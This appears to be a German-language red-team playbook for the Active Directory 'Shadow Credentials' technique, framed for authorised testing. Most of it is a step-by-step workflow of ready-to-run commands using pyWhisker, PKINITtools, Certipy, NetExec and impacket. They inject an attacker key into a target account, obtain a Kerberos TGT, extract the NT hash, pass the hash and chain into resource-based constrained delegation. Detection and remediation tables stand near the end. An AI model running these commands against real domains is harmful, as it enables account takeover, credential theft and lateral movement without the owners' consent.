Ausnutzen von Shadow Credentials zur Privilegienausweitung
Rechtlicher Hinweis: Diese Fähigkeit ist ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bestimmt. Shadow Credentials ermöglichen die vollständige Übernahme des Zielkontos. Verwenden Sie sie nur gegen Systeme, die Ihnen gehören oder für die Sie ausdrücklich schriftlich autorisiert wurden. Unautorisierter Zugriff ist strafbar.
Übersicht
Die Shadow Credentials-Technik missbraucht das msDS-KeyCredentialLink-Attribut von Active-Directory-Benutzer- und Computerobjekten. Dieses Attribut speichert rohe öffentliche Schlüssel („Key Credentials“), die von Windows Hello for Business und der Azure AD-Geräteregistrierung für die passwortlose zertifikatbasierte Anmeldung über PKINIT (Public Key Cryptography for Initial Authentication in Kerberos) verwendet werden. Wenn ein Angreifer Schreibrechte auf die msDS-KeyCredentialLink eines Zielobjekts besitzt – typischerweise durch GenericWrite, GenericAll, WriteProperty oder AddKeyCredentialLink-ACEs, die in BloodHound sichtbar werden – kann er seinen eigenen, vom Angreifer generierten öffentlichen Schlüssel anhängen. Anschließend fordert er über PKINIT ein TGT für das Ziel an, indem er den zugehörigen privaten Schlüssel verwendet, und erhält das NT-Hash des Ziels. Dies führt zu einer vollständigen Kontoübernahme ohne Zurücksetzen des Passworts, was weitaus unauffälliger ist als ein erzwungener Passwortwechsel.
Die Technik wurde von Elad Shamir veröffentlicht („Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover“) und im C#-Tool Whisker implementiert. Das Python-Äquivalent pyWhisker (ShutdownRepo) manipuliert das Attribut über LDAP, und Certipy integriert die gesamte Kette via certipy shadow auto. Die Zielumgebung muss PKINIT unterstützen und mindestens einen Domain-Controller mit Windows Server 2016 oder neuer enthalten. Quellen: pyWhisker, Whisker, The Hacker Recipes – Shadow Credentials.
Wann verwenden
- Wenn BloodHound
GenericWrite/GenericAll/AddKeyCredentialLinküber einem höherwertigen Benutzer oder Computer aufdeckt - Als unauffälligere Alternative zu
ForceChangePassword(kein Passwort-Reset = weniger Störung/Alarmierung) - Zur Übernahme eines Computerkontos, um eine Kette für Resource-Based Constrained Delegation (RBCD) zu ermöglichen
- Während Red-Team-Operationen, die eine Kontoübernahme ohne Sperrung des legitimen Benutzers erfordern
- Für Purple-Team-Übungen zur Generierung von Telemetrie bei Änderungen an
msDS-KeyCredentialLink
Voraussetzungen
- Autorisierter Engagement-Bereich, einschließlich AD-Credential-Access-Techniken
- Kontrolle über ein Konto mit Schreibrechten auf die
msDS-KeyCredentialLinkdes Ziels - Ein DC mit Windows Server 2016+ und aktiviertem PKINIT (Domänenfunktionsebene, die Key Trust unterstützt)
- Netzwerkerreichbarkeit zu LDAP (389/636) und Kerberos (88) auf einem DC
- Linux-Angriffsrechner mit Python 3.8+; Installation der Tools:
# pyWhisker (aus dem Quellcode) git clone https://github.com/ShutdownRepo/pywhisker cd pywhisker && pip install . # Certipy (integrierter Shadow-Angriff) pipx install certipy-ad # PKINITtools für manuelle TGT-/NT-Hash-Extraktion git clone https://github.com/dirkjanm/PKINITtools
Ziele
- Schreibzugriff auf die
msDS-KeyCredentialLinkdes Ziels bestätigen - Ein Schlüsselpaar generieren und einen Key Credential an das Zielobjekt anhängen
- Ein TGT für das Ziel via PKINIT mit dem neuen Schlüssel anfordern
- Das NT-Hash des Ziels für Pass-the-Hash / weitere Bewegungen extrahieren
- Den injizierten Key Credential entfernen, um den Objektzustand wiederherzustellen
- Den ACL-Pfad, der den Angriff ermöglicht hat, für die Behebung dokumentieren
MITRE ATT&CK-Zuordnung
| ID | Technik | Anwendung in dieser Fähigkeit |
|---|---|---|
| T1098.005 | Account Manipulation: Device Registration | Schreiben eines vom Angreifer kontrollierten Key Credential (Geräteschlüssel) in msDS-KeyCredentialLink, um eine alternative Authentifizierungsanmeldeinformation für das Zielkonto zu registrieren |
Arbeitsablauf
Schritt 1: Das Schreibrecht bestätigen
Liste die vorhandenen Key Credentials auf dem Ziel auf, um zu überprüfen, dass du den erforderlichen Zugriff hast. Ein leeres oder lesbares Ergebnis bestätigt den Schreibzugriff für den add-Schritt.
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
--target "victim" --action "list"
Schritt 2: Einen Shadow Credential mit pyWhisker hinzufügen
Generiere ein Zertifikat-/Schlüsselpaar und schreibe es in die msDS-KeyCredentialLink des Ziels. pyWhisker gibt eine PFX-Datei aus, die du kontrollierst.
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
--target "victim" --action "add" --filename victim_shadow
# Erzeugt victim_shadow.pfx und gibt das PFX-Passwort aus
Verwende Kerberos-Authentifizierung anstelle eines Passworts, wenn du nur ein Ticket besitzt:
python3 pywhisker.py -d "corp.local" -u "attacker" -k --no-pass \
--target "victim" --action "add" --filename victim_shadow --use-ldaps
Schritt 3: Ein TGT via PKINIT anfordern
Verwende die generierte PFX mit PKINITtools, um ein Kerberos-TGT für das Ziel zu erhalten.
python3 PKINITtools/gettgtpkinit.py \
-cert-pfx victim_shadow.pfx -pfx-pass <PFX_PASSWORT> \
corp.local/victim victim.ccache
Schritt 4: Das NT-Hash extrahieren
Extrahiere das NT-Hash des Ziels aus der AS-REP mit dem Sitzungsschlüssel aus Schritt 3 (getnthash.py liest den AS-REP-Verschlüsselungsschlüssel, der von gettgtpkinit.py angezeigt wird).
export KRB5CCNAME=victim.ccache
python3 PKINITtools/getnthash.py -key <AS-REP-SCHLÜSSEL-AUS-SCHRITT-3> corp.local/victim
# Gibt das NT-Hash für 'victim' aus
Schritt 5: One-Shot-Alternative mit Certipy
Certipys shadow auto führt add → PKINIT → Hash extrahieren → Cleanup automatisch durch, ideal für die Übernahme von Computerkonten.
certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'victim'
# Für ein Computerkonto den sAMAccountName mit abschließendem $ verwenden
certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'WS01$'
Schritt 6: Die wiederhergestellten Anmeldedaten verwenden
Authentifiziere dich mit dem NT-Hash (oder dem TGT), um das Engagement fortzusetzen.
# Pass-the-Hash mit NetExec
nxc smb 10.0.0.10 -u victim -H <EXTRAHIERTES-NT-HASH>
# Oder das TGT direkt verwenden
export KRB5CCNAME=victim.ccache
nxc smb dc.corp.local -u victim --use-kcache
Schritt 7: Computerübernahme in RBCD verketten (optional)
Wenn das Ziel ein Computer ist, erlaubt der wiederhergestellte Schlüssel/das Hash, Resource-Based Constrained Delegation zu konfigurieren, um jeden Benutzer auf diesem Host zu impersonieren.
# RBCD setzen, sodass der vom Angreifer kontrollierte SPN auf WS01$ impersonieren kann
impacket-rbcd -delegate-from 'attacker$' -delegate-to 'WS01$' \
-action write 'corp.local/attacker:Passw0rd!'
Schritt 8: Bereinigen
Entferne den injizierten Key Credential, um das Objekt wiederherzustellen und den Erkennungsfußabdruck zu verringern.
# pyWhisker: Entfernen nach Geräte-ID (beim add ausgegeben) oder alle hinzugefügten löschen
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
--target "victim" --action "remove" --device-id <GERÄTE-ID>
# Certipy shadow auto bereinigt automatisch; andernfalls:
certipy shadow clear -u '[email protected]' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'victim'
Tools und Ressourcen
| Ressource | Zweck | Link |
|---|---|---|
| pyWhisker | Python-LDAP-Manipulation von msDS-KeyCredentialLink | https://github.com/ShutdownRepo/pywhisker |
| Whisker | Ursprüngliche C#-Implementierung | https://github.com/eladshamir/Whisker |
| Certipy | shadow auto End-to-End-Übernahme | https://github.com/ly4k/Certipy |
| PKINITtools | gettgtpkinit / getnthash | https://github.com/dirkjanm/PKINITtools |
| The Hacker Recipes | Technik-Erklärung & Abwehrmaßnahmen | https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials |
Erkennungs- und Abhilfehinweise
| Bereich | Anleitung |
|---|---|
| Erkennung | Überwache Windows-Sicherheitsereignis-ID 5136 (Verzeichnisobjekt geändert) auf Änderungen an msDS-KeyCredentialLink; alarmieren, wenn ein Nicht-AD-Connect-/Nicht-Intune-Prinzipal das Attribut schreibt. |
| Überwachung | Aktiviere die Überwachung von Verzeichnisdienst-Objektänderungen in Benutzer-/Computer-OUs. |
| Least Privilege | Entferne unnötige GenericWrite/GenericAll/AddKeyCredentialLink-ACEs (BloodHound-Kante AddKeyCredentialLink). |
| Abhilfe | Wenn Windows Hello/Geräteregistrierung nicht verwendet wird, schränke ein, wer Key Credentials schreiben darf, und erwäge den Schutz von Tier-0-Konten. |
Validierungskriterien
- Schreibzugriff auf
msDS-KeyCredentialLinkdes Ziels bestätigt (listerfolgreich) - Key Credential erfolgreich hinzugefügt (PFX generiert)
- PKINIT-TGT für das Zielkonto erhalten
- NT-Hash des Ziels extrahiert und gegen einen Dienst validiert
- (Bei Computern) RBCD-Kette oder weitere Bewegung demonstriert
- Injizierter Key Credential entfernt / Objekt wiederhergestellt
- Ermöglichender ACL-Pfad mit Empfehlung zur Behebung dokumentiert